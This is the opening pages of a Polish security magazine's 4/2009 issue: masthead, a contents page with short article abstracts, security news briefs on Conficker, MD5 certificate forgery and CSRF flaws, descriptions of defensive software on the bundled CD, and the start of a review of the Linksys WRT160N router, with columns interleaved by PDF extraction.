149 36 10MB
Polish Pages 84
DOSTĘP DO APLETÓW JAVY
2/2009 HAKIN9
44
SPIS TREŚCI NARZĘDZIA
jest wydawany przez Software–Wydawnictwo Sp. z o.o. Dyrektor wydawniczy: Paweł Marciniak Redaktor naczelny: Katarzyna Juszczyńska [email protected] Redaktor prowadzący: Tomasz Przybylski Kierownik produkcji: Marta Kurpiewska [email protected] DTP: Grzegorz Laskowski Nadruk CD: Grzegorz Laskowski
12
Router WRT 160 N
POCZĄTKI 14
Okładka: Agnieszka Marchocka, Łukasz Pabian Dział reklamy: [email protected] Obsługa prenumeraty: EuroPress Polska [email protected] Wyróżnieni betatesterzy: Rafał Lysik, Krzysztof Piecuch Opracowanie CD: Rafał Kwaśny Druk: 101 Studio, Firma Tęgi Nakład wersji polskiej 6 000 egz. Wydawca: Software–Wydawnictwo Sp. z o.o. ul. Bokserska 1, 02-682 Warszawa, Polska Tel. +48 22 427 36 77, Fax +48 22 244 24 59 www.hakin9.org
Jestem częścią cyfrowej rzeczywistości!
ŁUKASZ CIESIELSKI Jak określić osobę nieprzeciętnie inteligentną, dążącą do osiągnięcia wiedzy niedostępnej dla każdego? W jakich kategoriach umiejscowić człowieka, dla którego powszechność wiedzy i łatwy dostęp do niej jest życiowym priorytetem? Stanowi ona dorobek całej ludzkości, a nie jedynie uprzywilejowanych jednostek. Trudno piętnować osobę wyznającą takie założenia mianem złej. Wyobraźmy sobie jednak sytuację, w której terroryści wejdą w posiadanie informacji uznawanych powszechnie za niebezpieczne. Życie setek, a może nawet tysięcy niewinnych osób zawiśnie na włosku.
Osoby zainteresowane współpracą prosimy o kontakt: [email protected] Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje także poprawnego działania programów shareware, freeware i public domain. Uszkodzone podczas wysyłki płyty wymienia redakcja. Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firm i zostały użyte wyłącznie w celach informacyjnych. Do tworzenia wykresów i diagramów wykorzystano program firmy
ATAK
Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o. Redakcja używa systemu automatycznego składu
22
Niekonwencjonalne ataki Wi-Fi
28
Exploity i shellcode
UWAGA! Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową. hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie, Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niemczech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. Prowadzimy również sprzedaż kioskową w innych krajach europejskich. Magazyn hakin9 wydawany jest w 4 wersjach językowych: PL
EN
FR
DE
UWAGA! Techniki prezentowane w artykułach mogą być używane jedynie we własnych sieciach lokalnych. Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie prezentowanych technik ani spowodowaną tym utratę danych.
4
HAKIN9 4/2009
NORBERT KOZŁOWSKI Wszyscy ci, którzy interesującą się tematyką bezpieczeństwa WiFi, na pewno spotkali się kiedyś z pojęciami typu łamanie klucza WEP, fałszywa autentykacja MAC czy przechwycenie 4-way handshake, w kontekście łamania zabezpieczeń WPA. Są to techniki ogólnie dostępne i nieprzysparzające w zastosowaniu większego problemu. Niewiele jednak osób zna sposoby na skuteczne zakłócenie działania całej sieci bezprzewodowej.
PIOTR JASTAK Exploit to francuskie słowo oznaczające osiągnięcie. Większości osób zainteresowanych tematyką bezpieczeństwa komputerowego kojarzyć się będzie raczej z wykorzystaniem słabości oprogramowania źle napisanego pod kątem bezpieczeństwa. Poznanie głównych zasad działania exploitów, a także shellcodów, jest dobrym wstępem do analizy świata zabezpieczeń komputerowych. Artykuł ten może też pełnić rolę krótkiego przypomnienia informacji dla osób bardziej doświadczonych.
SPIS TREŚCI 34
42
Phreaking – łamanie zabezbieczeń
RAFAŁ PODSIADŁY Dzisiejszy artykuł będzie poświęcony bardzo rozległej tematyce bezpieczeństwa informacji. W pierwszej kolejności autor nawiąże do wydania grudniowego, w którym bardzo dokładnie opisywał techniki socjotechniczne, a później – przytaczając kilka przykładów – opisze ataki typu phreaking lub pharming. Następnie opisze, na czym polegają te techniki, jak były wykorzystywane i w jaki sposób nowoczesne rozwiązania (w szczególności karty inteligentne) umożliwiają wykonywanie tych ataków dziś.
Metasploit Framework
GRZEGORZ GAŁĘZOWSKI Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem trudnym do zrealizowania. Pomimo rygorystycznego i systematycznego testowania, większość zarówno dużych, jak i nawet małych programów zawiera duże liczby błędów. Przyczyną tego jest złożoność ich kodów źródłowych.
OBRONA 52
62
System kopii zapasowych Bacula
MARCIN KLAMRA Wykonywanie kopii zapasowych jest operacją niezbędną w każdym środowisku, w którym tworzy się dane, szczególnie gdy są one cenne bądź trudne do odtworzenia. Proces wykonywania kopii zapasowych jest monotonny, a jako taki powinien być wykonywany automatycznie, bez interwencji człowieka. Spełnienie tego warunku wymaga posiadania stosownego sprzętu oraz odpowiedniego, poprawnie skonfigurowanego oprogramowania.
Walka z pakerami
0X0BADDAED Analiza złośliwego oprogramowania wymaga często znajomości technik pakowania i zaciemniania kodu binarnego, jakie stosują autorzy malware'u. W tym artykule dowiecie się, w jaki sposób obejść te zabezpieczenia i odpakować program do postaci nadającej się do dalszego badania w deasemblerze.
PRAKTYKA 70
STAŁE RUBRYKI 6 Aktualności
Przedstawiamy garść najciekawszych wiadomości ze świata bezpieczeństwa systemów informatycznych i nie tylko. Oto kilka z nich: • •
Wirtualna śmierć Jobsa; Paris Hilton na celowniku cyberprzestępców;
10 Zawartość CD Prezentujemy programy: • • • • • • •
Ad Aware 2008 plus Ad Aware 2008 Pro Lavasoft Anti-Virus Helix Lavasoft Digital Lock Lavasoft File Shredder Lavasoft Personal Firewall 3.0 Lavasoft Privacy Toolbox
74 Wywiad
Rozmowa z Jackiem Brinsonem. Dyrektorem Oracle odpowiedzialnym za produkty związane z zapewnianiem bezpieczeństwa informacji składowanych w bazach danych
78 Felieton
Tylko dwie rzeczy są nieskończone... Krzysztof Piecuch
82 Zapowiedzi
Zapowiedzi artykułów, które znajdą się w następnym wydaniu magazynu hakin9
Zakłócanie śledztwa elektronicznego
GRZEGORZ BŁOŃSKI Anti-forensics – działania mające na celu utrudnienie zdobycia dowodów elektronicznych, wpływanie na ilość oraz jakość tych dowodów, skompromitowanie osoby prowadzącej analizę dowodów cyfrowych. Tak w dużym uogólnieniu może brzmieć definicja tego tajemniczego zwrotu. W polskich warunkach informatyka śledcza rozwija się niezbyt dynamicznie, jednak metody pozwalające na utrudnianie prowadzenia takiego śledztwa są znane także naszym rodakom.
4/2009 HAKIN9
5
W SKRÓCIE LICZNE PODATNOŚCI CSRF W DEMONACH FTP Maksymilian Arciemowicz z SecurityReason.com stwierdził występowanie błędów typu Crosssite request forgery w demonach FTP różnych dostawców. Mimo, iż błąd został opublikowany we wrześniu 2008 roku, nadal wiele maszyn pozostaje narażonych na opisany atak, a uczestnicy licznych projektów ftpd wciąż wdrażają poprawki. Na pozór niegroźny błąd stał się koszmarem wielu administratorów. Błąd CSRF można wykorzystać do przygotowania pułapki na zalogowanego użytkownika FTP, przeglądającego zasoby demona za pośrednictwem przeglądarki internetowej. Niczego nieświadomy użytkownik może zmienić uprawnienia do dowolnego pliku bądź wykonać dowolne polecenie. Skala zagrożenia obejmuje większość demonów ftpd: proFTPd, SmbFTPd, lukemftpd, tnftpd i wiele innych. Więcej informacji znaleźć można pod adresem http://securityreason.com/polish/badania_ podatnosc/56.
PIERWSZA ŁATKA DLA WINDOWS 7 Nie tak dawno ukazała się pierwsza wersja systemu Windows 7 beta 1, a już
6
HAKIN9 4/2009
firma Microsoft udostępniła poprawkę. Aktualizacja naprawia błąd występujący w Windows Media Playerze. Luka powoduje kasowanie początku pliku .mp3. W tej chwili po zainstalowaniu systemu Windows 7 beta 1 system automatycznie pobiera aktualizację. Producent nie opracował jednak poprawki do błędu w protokole SMB. Koncern tłumaczy, że dla wersji beta wydaje tylko poprawki dla krytycznych luk, a błąd w SMB Windows 7 został oceniony jako umiarkowanie krytyczny.
WIRTUALNA ŚMIERĆ JOBSA Na tak niecodzienny żart skusili się cyberprzestępcy, włamując się na stronę konferencji MacWorld 2009 i umieszczając w RSS wiadomość o rzekomej śmierci szefa Apple'a, Steve'a Jobsa. Zaledwie po chwili pojawiło się sprostowanie: Wycofanie informacji o Jobsie... nie wiemy, jak trafiło to do naszego RSS-a. Steve nie umarł. A zaraz potem ukazała się kolejna informacja: Oj, przepraszamy. Steve nie żyje. Serdeczne kondolencje. Już wiadomo, że żartownisie są związani z witryną 4Chan, która już wcześniej rozsyłała plotki o Kościele
Scjentologicznym i włamała się na konto należące do Sarah Palin.
Z PIRATAMI NA GIEŁDZIE Wrocławska policja zatrzymała dwie osoby podejrzane o handel pirackimi kopiami filmów. Podczas akcji funkcjonariusze zabezpieczyli blisko 1200 płyt DVD. Wstępne straty producentów to około 100 tys. złotych. Podejrzanym grozi kara nawet do 5 lat pozbawienia wolności.
HAKERZY ATAKUJĄ STRONY POLSKICH HOMOSEKSUALISTÓW Główna strona jednego z największych portali homoseksualistów w Polsce została podmieniona, jednak administracja serwisu szybko przywróciła porządek. Na stronie głównej umieszczono tekst ośmieszający pana o nicku mario_vs. Strona polgej.pl była już wcześniej atakowana przez hakerów, ostatnio właśnie przez osobę o pseudonimie mario_vs.
CZAS POPSUŁ ODTWARZACZE ZUNE Wraz z nowym rokiem wszystkie odtwarzacze Zune pierwszej generacji przestały działać. Awaria ta jest spowodowana błędem w obsłudze przez zegar Zune'a roku przestępnego. Jak informuje producent odtwarzacza – firma Microsoft – aby odtwarzacz zaczął znów działać, należy poczekać jeden dzień, a następnie wykonać twardy reset urządzenia. Powinno to spowodować przywrócenie wszystkich funkcji odtwarzacza.
JAKUB BUCZYŃSKI
JESZCZE BARDZIEJ ENERGOOSZCZĘDNE PROCESORY INTEL CORE 2 QUAD Firma Intel wpuściła na r ynek trzy nowe czterordzeniowe procesor y o TDP na poziomie 65W (w przypadku poprzednich modeli wartość ta wynosiła 95W, a nawet i więcej). Nowe procesor y prezentują się następująco: najszybszy model, Core 2 Quad Q9550e, będzie pracował z częstotliwością 2,83GHz i szyną FSB 1333MHz i będzie wyposażony w 12MB pamięci cache. Drugi model to Core 2 Quad Q9400s, jego częstotliwość nominalna wyniesie 2,66GHz, a pozostałe parametr y to odpowiednio: FSB 1333MHz oraz 5MB pamięci cache. Wreszcie trzecia nowość to Q8200s. Jego częstotliwość pracy wyniesie 2,33GHz, FSB – 1333MHz i będzie on wyposażony w 4MB pamięci cache.
CERTYFIKAT CA DO PODROBIENIA Dokonali tego specjaliści z Politechniki w Eindhoven. Udało się im sfałszować certyfikat jednego z dużych publicznych centrów certyfikacji. Było to możliwe, ponieważ centrum używało algorytmu MD5 – co umożliwiło wywołanie kolizji i, w konsekwencji, podrobienie certyfikatu. Naukowcy pobierali oryginalny certyfikat centrum, który używał do haszowania sum MD5. Następnie wywoływali kolizje, znajdując ciąg, który dawał identyczny hash MD5, jak w certyfikacie oryginalnym. Posiadając taki certyfikat, można tworzyć i podpisywać certyfikaty SSL dla nazw domenowych i tym samym przeprowadzać ataki Man In the Middle, włączać się w sesje i przechwytywać poufne dane. Algorytmu MD5, według statystyk, używa się w 30% wszystkich centrów certyfikacji.
Microsoft Windows. Co gorsza, malware rozprzestrzenia się nie tylko w Internecie, ale także poprzez urządzenia USB. Robaki z rodziny Conficker pobierają również inne złośliwe kody na zainfekowany komputer. Zaobserwowano trzy warianty szkodnika: Conficker A, B i C. Robak rozprzestrzeniał się, wykorzystując w tym celu lukę w zabezpieczeniach MS08-067 usługi serwera Microsoft Windows. Dalsza infekcja następuje z wykorzystaniem zmodyfikowanych wywołań RPC (ang. Remote Procedure Call – zdalne wywołanie procedur) do innych komputerów.
PARIS HILTON NA CELOWNIKU CYBERPRZESTĘPCÓW Cyberprzestępcy, jak do tej pory, nie dają spokoju Paris Hilton. Kilka miesięcy po zaatakowaniu profilu w serwisie Facebook włamali się na jej oficjalną stronę. Użytkownicy odwiedzający stronę ParisHilton.com mogli zaobserwować pojawiające się na ekranie monitora okienko, informujące o potrzebie aktualizacji systemu operacyjnego. Niezależnie od opcji wybranej przez użytkownika w oknie pop-up (Ok lub Cancel), użytkownik rozpoczynał pobieranie złośliwego oprogramowania. Zagrożenie odkr yła firma SanSafe. Po zainfekowaniu maszyny cały ruch sieciowy był przechwytywany lub przekierowywany. Wszystko, co jest w stanie przechwycić i przekierować ruch, jest bardzo niebezpieczne – ostrzega Mar y Landesman z firmy ScanSafe. W skali 1 do 10 określiłabym to zagrożenie na 10 – dodaje. Najprawdopodobniej cyberprzestępcy dostali się na stronę wykonując atak SQL Injection.
Ukazała się nowa rodzina robaków komputerowych o nazwie Conficker. Do rozprzestrzenia się wykorzystują one lukę w zabezpieczeniach systemu
ŁATANIE ORACLE Firma Oracle ma zamiar opublikować 41 poprawek bezpieczeństwa, z czego 10 dotyczy produktów bazodanowych. Co najmniej 17 z 44 dziur można wykorzystać zdalnie bez potrzeby jakiejkolwiek autoryzacji – błędy te określono jako luki podwyższonego ryzyka. Kilka błędów oznaczono najwyższym stopniem zagrożenia, występują one w produktach Server Backup, a także we wtyczce do Apache'a o nazwie WebLogic Server. Specjaliści zalecają jak najszybszą aktualizację oprogramowania Oracle.
PATCH OD MICROSOFTU UNDERCOVER ODNAJDZIE TWOJEGO MACBOOKA
ROBAK CONFICKER
zadaniem systemu jest informowanie policji o położeniu skradzionego komputera. W najnowszej wersji narzędzie integruje się z systemem pozycjonowania geograficznego Skyhook. Jest ono w stanie obliczyć (wykorzystując operacje trygonometryczne) położenie obiektu, odbierając jego sygnał z punktów dostępowych Wi-Fi. Gdy użytkownik poinformuje Orbicule o kradzieży komputera, zarejestrowana w serwerach firmy maszyna zostaje oznaczona jako skradziona. Za każdym razem, gdy komputer łączy się z internetem, Skyhook sprawdza jego identyfikator. Jeśli zostaje on zidentyfikowany jako skradziony, system zaczyna obliczanie położenia maszyny na podstawie informacji z punktów dostępowych Wi-Fi. Możemy określić położenie skradzionego komputera z dokładnością do 20 metrów. Dzięki temu policja otrzymuje dokładniejsze informacje o poszukiwanym sprzęcie – informuje Peter Schols z Orbicule.
Podczas konferencji Macworld belgijska firma Orbicule zaprezentowała oprogramowanie śledzące położenie skradzionych Maców. Oprogramowanie nosi nazwę Undercover. Głównym
Firma Microsoft wydała łatę na lukę określaną jako krytyczna w przypadku systemów Windows 2000, Windows XP i Windows Server 2003. W wersjach systemu Vista i Server 2008 błąd stwarza trochę mniejsze zagrożenie – w obu przypadkach luka określana jest jako średnio niebezpieczna. 4/2009 HAKIN9
7
W SKRÓCIE Oznacza to, że luka dotyczy przede wszystkim starszej wersji kodu – uważa Wolfgang Kandek, CTO z firmy Qualys.
IPV6 DLA ARMII Firma AT&T zajęła się projektem stworzenia sieci IPv6 przeznaczonej dla niemieckiej armii. Całe przedsięwzięcie ma kosztować około 23 milionów dolarów. IPv6 to długo oczekiwany następca protokołu Ipv4. 128-bitowy IPv6 znacząco zwiększa liczbę urządzeń, które mogą być indywidualnie podpięte do Internetu. AT&T instaluje i testuje sieć w 600 budynkach JTMC (Joint Multinational Training Center). Projekt AT&T ma zostać zakończony w przyszłym roku.
aby zweryfikować poprawność kodu, a pirackie wersje Windows 7 mogą być wzbogacone o złośliwy kod. Tak zmodyfikowana wersja systemu może ułatwić cyberprzestępcom ataki typu Denial of Service (DoS), czy też spowodować, by komputer stał się częścią botnetu wysyłającego spam – ostrzega Rochwald.
KONFLIKT PALESTYŃSKO-IZRAELSKI W SIECI Hakerzy przeprowadzili zakrojony na szeroką skalę atak spamowy, podszywając się pod serwis CNN.com. Atak polegał na wysyłaniu listów elektronicznych, w których informowali o izraelskiej inwazji w strefie Gazy. Pierwsze fałszywe listy zauważyła firma RSA FraudAction Research Lab. List przekonuje, iż zawiera informacje (teksty i zdjęcia) dotyczące ataku na strefę Gazy – informuje Sam Curr y z RSA. Cyberprzestępcy stosują metody socjotechniczne. Zachęcają do otwarcia pliku, ale aby to uczynić, internauta musi wcześniej odwiedzić spreparowany serwer w celu aktualizacji aplikacji Adobe Acrobat do wersji 10. Zamiast niej do pamięci komputera załadowany zostaje trojan – opisuje Curr y. Trojan to tzw. SSL stealer – jego zadaniem jest podsłuchiwanie ruchu związanego z usługami finansowymi – dodaje.
UWAGA NA PIRATY WINDOWS 7 Firma Fortify Software ostrzega przed pobieraniem i instalowaniem pirackich kopii systemu operacyjnego Windows 7. Jak uważa Rob Rochwald, dyrektor marketingowy w Fortify Software, należy szczególnie uważać na to, co się instaluje, ponieważ nie ma sposobu, 8
HAKIN9 4/2009
FIREFOX ZDOBYŁ 20 PROCENT RYNKU Z wyników badań przeprowadzonych przez firmę Net Applications wynika, że światowy udział Mozilli Firefox w segmencie przeglądarek przekroczył barierę 20 procent. Już w listopadzie z Firefoksa korzystało 20,78 procent osób na całym świecie. Udział Internet Explorera po raz pierwszy spadł poniżej 70 procent. Z przeglądarki firmy Apple, Safari, korzysta niewiele ponad
7 procent użytkowników, z kolei Google Chrome ma niecały jeden procent rynku. Przekroczenie progu 20 procent jest dla nas bardzo znaczące – przyznaje John Lilly, prezes Mozilli.
UTRATA DANYCH W 2008 ROKU Jak szacują specjaliści, w 2009 roku dane może stracić nawet o sto milionów osób więcej niż w roku ubiegłym. Przechodząc do konkretów, badania firmy KPMG wykazują liczbę 190 milionów osób tracących dane (w roku ubiegłym – 92 miliony osób). W ciągu tylko 3 miesięcy roku 2008 (od września do listopada włącznie), ze swymi danymi pożegnało się 47,8 miliona na całym świecie. Przewidujemy wzrost liczby prób ataków, w wyniku czego może dojść do kradzieży danych. Głównym celem włamań będzie przede wszystkim sektor finansowy, dlatego to on powinien szczególnie zabezpieczyć się w tym roku. Podejrzewamy, że cyberprzestępcy będą także atakować inne sektory, np. telekomunikacyjny – komentuje Malcom Marshall z KPMG.
MICROSOFT LEKCEWAŻY BŁĘDY W WMP W wigilię Bożego Narodzenia anonimowa osoba zgłosiła błąd występujący w oprogramowaniu Windows Media Player. Producent zlekceważył jednak zgłoszenie
JAKUB BUCZYŃSKI o luce, która występuje we wszystkich wersjach odtwarzacza. Pracownicy Microsoftu zbadali próbkę kodu, który powodował zablokowanie pracy Windows Media Playera. Usterka pozwalała wszakże na ponowne uruchomienie programu, a sama awaria nie wpływała na stabilność systemu operacyjnego, co w konsekwencji nie pozwalało napastnikowi na wstrzyknięcie złośliwego kodu.
któr y zdobyć może osoba posiadająca już tytuł SCNS. Certyfikat SCNP potwierdza dodatkowo wiedzę z zakresu szkolenia Zabezpieczanie zasobów IT. Szczegółowe informacje dotyczące oferty znajdują się na stronie internetowej: www.cts.com.pl. Zapytania można kierować na adres: [email protected].
możliwe jest podsłuchiwanie rozmów. Wykonawcami tego sniffera są specjaliści z Politechniki Darmstadt: Erik Tews z Politechniki, Ralf-Philippe Wienmannem i Matthias Wenzel. Modyfikując (sprzętowo i programowo) kartę PCMCIA ComOnAir, a następnie podłączając ją do laptopa, uzyskali sniffer.
MOZILLA THUNDERBIRD 2.0.0.19
NOWE SZKOLENIA SCP Z BEZPIECZEŃSTWA SIECI I SYSTEMÓW IT W OFERCIE CTS Centrum Technik Sieciowych oferuje szkolenia z zakresu bezpieczeństwa sieci i systemów informatycznych opracowane przez Security Certified Program (SCP), organizację tworzącą zaawansowane szkolenia i certyfikacje bezpieczeństwa w sposób niezależny od dostawców produktów IT. SCP przygotowuje specjalistów IT do zapewnienia bezpieczeństwa nadzorowanym systemom w sposób kompleksowy poprzez prezentację zagadnień dotyczących różnych systemów (np. Windows, Linux) i rozwiązań technicznych (firewalle, routery, sieci bezprzewodowe, VPN). Oferta obejmuje dwa szkolenia: Ochrona sieci informatycznej oraz Zabezpieczanie zasobów IT. Szkolenia te kierowane są do osób odpowiadających za bezpieczeństwo nadzorowanych zasobów IT, administratorów systemów i pracowników działów bezpieczeństwa. Obok zdobycia cennej wiedzy z zakresu bezpieczeństwa IT szkolenia te umożliwiają przygotowanie do testów Prometric lub VUE umożliwiających zdobycie certyfikatu potwierdzającego posiadaną wiedzę oraz tytułów SCNS i SCNP. Tytuł Security Certified Network Specialist (SCNS) potwierdza umiejętności ochrony sieci w zakresie tematycznym prezentowanym w ramach szkolenia Ochrona sieci informatycznej. Security Certified Network Professional (SCNP) jest drugim poziomem certyfikacji SCP,
Mozilla udostępniła swoim klientom aktualizację klienta poczty Thunderbird – wersję 2.0.0.19, łatając w ten sposób siedem luk. Pięć spośród likwidowanych podatności określono jako średnio istotne, pozostałe jako mało istotne. Błędy te pozwalały na uruchomienie złośliwego kodu JavaScirpt, co pozwalało m.in. na zwiększenie uprawnień użytkownika czy też kradzież danych.
NIEBEZPIECZNA NOKIA Odpowiednio spreparowana wiadomość tekstowa może zablokować w smartfonach Nokii możliwość dalszego odbierania SMS-ów. Tak przygotowany komunikat może być wysyłany z prawie każdego telefonu Nokii – ostrzega Tobias Engel, niemiecki specjalista ds. bezpieczeństwa. W najnowszych modelach telefonów komórkowych zaczynają pojawiać się aplikacje, chroniące przed atakiem typu Denial of Service, potocznie nazwanym jako Przekleństwo milczenia.
SNIFFER DO TELEFONÓW BEZPRZEWODOWYCH Jak się okazuje, rozmowy telefoniczne przeprowadzane za pomocą domowych telefonów bezprzewodowych mogą być bardzo łatwo podsłuchiwane. Atak na taki telefon został zaprezentowany w Berlinie podczas konferencji Chaos Communication Congress. Wykorzystuje on technologię DECT (ang. Digital Enhanced Cordless Telecommunication) .Okazuję się, że przeprowadzenie takiego ataku jest możliwe w domowych warunkach za pomocą zmodyfikowanej karty VIP do laptopa oraz notebooka z systemem Linux. Dzięki takiemu zestawowi
KDE 4.2 Wydano nową wersję środowiska graficznego KDE 4.2, znaną również pod nazwą kodową Cilense. Wersja ta jest przeznaczona dla testerów i powinna działać stabilnie. Służy głównie do zgłaszania ostatnich błędów, które będą usunięte przed wydaniem wersji finalnej.
NIEBEZPIECZNE CZYTNIKI KANAŁÓW RSS W SAFARI Lukę w RSS znalazł programista Brian Mastenbrook. Przeglądarka firmy Apple naraża swoich użytkowników na utratę danych osobowych. Błąd tkwi w sposobie, w jaki Safari zarządza kanałami RSS. Na ataki z zewnątrz podatna jest zarówno wersja przeglądarki dla Mac OSX 10.5, jak i dla Windows.
SKAZALI HAKERA NA 30 LAT POZBAWIENIA WOLNOŚCI Tak surowo potraktował turecki sąd ukraińskiego hakera. Poza pozbawieniem wolności na 30 lat, włamywacz ma zapłacić grzywnę w wysokości około 23 tysięcy dolarów. Maksym Jastremski został postawiony przed sądem za dokonanie serii ataków na dwanaście tureckich banków i liczne malwersacje finansowe. Haker został aresztowany 17 miesięcy temu w Antalii, śródziemnomorskiej prowincji Turcji. 4/2009 HAKIN9
9
NA CD ZAWARTOŚĆ CD Na dołączonej do pisma płycie znajduje się dystrybucja hakin9.live (h9l) w wersji 4.0.3 on BackTrack 3.0, zawierająca przydatne narzędzia, dokumentację, tutoriale i materiały dodatkowe do artykułów.
PROGRAMY • • • • • • •
Ad Aware 2008 plus Ad Aware 2008 Pro Lavasoft Anti-Virus Helix Lavasoft Digital Lock Lavasoft File Shredder Lavasoft Personal Firewall 3.0 Lavasoft Privacy Toolbox
JAK ZACZĄĆ Aby zacząć pracę z hakin9.live, wystarczy uruchomić komputer z CD. Po uruchomieniu systemu możemy zalogować się jako użytkownik hakin9 bez podawania hasła. wykrywa zagrożenia z sieci, ale i blokuje je natychmiast, tym samym zapobiegając utratę ważnych danych!
pobierającymi numery, szkodliwymi programami (Malware) i komponentami szpiegowskimi.
AD AWARE 2008 PLUS
AD AWARE 2008 PRO
LAVASOFT ANTI-VIRUS HELIX
Wersja Ad-Aware SE Plus posiada wszystkie możliwości wersji Personal, oprócz tego została wzmocniona dodatkowymi możliwościami dla zabezpieczenia poufnej informacji. Wersja Plus obejmuje zabezpieczenie w czasie rzeczywistym przy pomocy opcji Ad-Watch, która nie tylko
Wersja Ad-Aware SE Professional to najwyższy poziom obrony przed popularnymi zagrożeniami bezpieczeństwa – kradzieżą danych osobistych, agresywną reklamą, stronami-pasożytami, oszukującymi programami, niektórymi tradycyjnymi trojanami, programami
Anti-Virus Helix to program antywirusowy autorstwa producenta znanego dotąd przede wszystkim z rozwiązań anty-spyware – programu Ad-Aware. Posiada typową funkcjonalność aplikacji antywirusowych, między innymi skaner czasu rzeczywistego, blokadę malware, ochronę poczty i podczas przeglądania witryn internetowych. Więcej opcji pojawia się po włączeniu trybu eksperckiego. Można wtedy skonfigurować wykrywanie rootkitów, skanowanie poczty wychodzącej i określić typy MIME do blokowania. Program posiada przystępny interfejs użytkownika, podobny do
10
HAKIN9 4/2009
HAKIN9.LIVE interfejsu pozostałych aplikacji tego producenta. Wersja demonstracyjna pozostaje w pełni funkcjonalna przez 30 dni od instalacji.
LAVASOFT DIGITAL LOCK Lavasoft Digital Lock jest narzędziem służącym do zabezpieczania plików hasłem. Program jest dobrym uzupełnieniem własnych narzędzi używanych do chronienia prywatnych danych.Aplikacja jest zaopatrzona w zaawansowane technologicznie szyfrowanie zawierające AES 256 Bitów. Cechuje ją szyfrowanie wszystkich formatów do przechowywania lub wysyłania. W celu zwiększenia bezpieczeństwa szyfrowanie plików może przebiegać w różnorodny sposób.
dysku są wciąż łatwe do przywrócenia. Korzystanie z tej aplikacji daje pewność że nikt nie odzyska wcześniej usuniętych danych. Umieszczona na pulpicie ikona Shredding Bin pozwala zarządzać wybranymi plikami. Narzędzie pozwala użytkownikowi kontrolować historię, zarządzać archiwami komunikatorów. Aplikacja zbiera informacje na temat plików przy pomocy specjalnych raportów. Program posiada także wojskową i rządową akceptację standardów bezpieczeństwa. Użytkownik, który zdecyduje się na zakup programu otrzymuje bezpłatną pomoc techniczną (w języku angielskim, niemieckim i szwedzkim). Wersja testowa pozwala na 30 dni darmowego korzystania z aplikacji.
a zarazem bardzo skuteczne rozwiązanie w walce z hakerami, robakami, trojanami i innymi zagrożeniami pochodzącymi z sieci. Właściwości: •
•
•
•
•
•
LAVASOFT FILE SHREDDER
LAVASOFT PERSONAL FIREWALL 3.0
Lavasoft File Shredder to narzędzie do trwałego usuwania danych. Pliki i dokumenty kasowane z komputera przy pomocy przycisku delete lub poprzez formatowanie
Lavasoft Personal Firewall 3.0 zapewnia bezpieczeństwo komputera przed nieautoryzowanym dostępem. Lavasoft Personal Firewall 3.0 – to proste w użyciu
•
Dwustronny firewall – kontrola połączeń wchodzących i wychodzących, zapewnia bezpieczeństwo komputera. Zabezpieczenie hostingu – aktywnie kontroluje i blokuje wszelkie próby kradzieży plików. Technologia zapobiegania utraty ważnej informacji – wszystkie niebezpieczne programy blokują się. Samozabezpieczenie – gwarantuje, niemożność deaktywacji firewalla przez szkodliwe programy. Wykrywanie ataków – wszystkie niezautoryzowane próby dostępu automatycznie blokowane. Tryb Entertainment – zabezpieczenie komputera podczas kiedy użytkownik gra lub ogląda film na nim. Pełna wygoda korzystania – program odpowiedni zarówno jak dla użytkowników początkujących tak i profesjonałów.
Wymagania systemowe: • •
• •
Windows Vista, XP, Server 2003, Windows 2000 (SP3 i wyższe) Porcesor 450 MHz CPU (x-86/x-64/ multi-core), 256МB RAM, 100 МB wolnej przestrzeni na dysku twardym Email protocols & Services – POP3, SMTP, IMAP E-mail clients for anti-spam – Windows Mail, Outlook Express, Outlook (all versions)
LAVASOFT PRIVACY TOOLBOX
Żeby uruchomić swój komputer z płyty hakin9.live, ustaw swój BIOS na bootowanie z napędu CD-ROM. Po dokonanych zmianach uruchom ponownie komputer. Uruchomi się dytrybucja hakin9.live, na której możesz przećwiczyć techniki prezentowane w tutorialach. Upewnij się, ze sprawdziłeś desktopowe foldery – zawierają wiele dodatkowych materiałów. Zawartość CD można również przejrzeć w systemie Windows.
Lavasoft Privacy Toolbox to pakiet służący do ochrony poufnych danych. Aplikacja pozwala między innymi na: szyfrowania plików za pomocą wielu algorytmów, usuwania śladów pracy (historie aplikacji, listy ostatnich dokumentów, itd.), a także pozwala na usuwania wskazanych plików. W skład programu wchodzą dwa moduły: File Shredder (narzędzie służące do usuwanie danych w taki sposób, by już nie mogły być odzyskane) i Digital Lock (narzędzie służące do szyfrowania danych). Wersja testowa pozawala na 30 dni darmowego korzystania z aplikacji. 4/2009 HAKIN9
11
NARZĘDZIA WRT 160 N
Producent Linksys by Cisco Typ router Model WRT 160N Strona producenta www-pl.linksys.com Recenzent Bartosz Zalewski
OCENA
««««« 12
HAKIN9 4/2009
Standard 802.11n to najnowsze osiągnięcie z zakresu technologii sieci bezprzewodowych. Pozwala on urządzeniom łączyć się drogą radiową z prędkościami grubo przekraczającymi 100Mb/s. Oferuje również o wiele większy zasięg i siłę sygnału niż dotychczasowy standard 802.11g. Powoli producenci sprzętu komputerowego wprowadzają na r ynek nowe urządzenia obsługujące ten standard. Wraz ze zwiększającą się popularnością pr ywatnych sieci bezprzewodowych warto przyjrzeć się urządzeniom przeznaczonym do użytku domowego lub w małych firmach. Jednym z nich jest opisywany tutaj router firmy Linksys – WRT 160 N. Akcesoria pracujące w standardzie n cechują się nienagannym, wręcz designerskim wyglądem. Nie inaczej jest w przypadku routera Linksysa. Schludna czarnosrebrna obudowa, okraszona podświetlanymi ikonami, informującymi o stanie pracy urządzenia, robi dobre wrażenie. Do tego brak zewnętrznej anteny powoduje, że router dobrze się prezentuje i nie musi być chowany gdzieś za szafą, a nawet może zdobić pokój. Wszystkie złącza zmieściły się na tylnej ściance, co pomaga w prowadzeniu kabli. Mamy tu więc: 1 port WAN, 4 porty 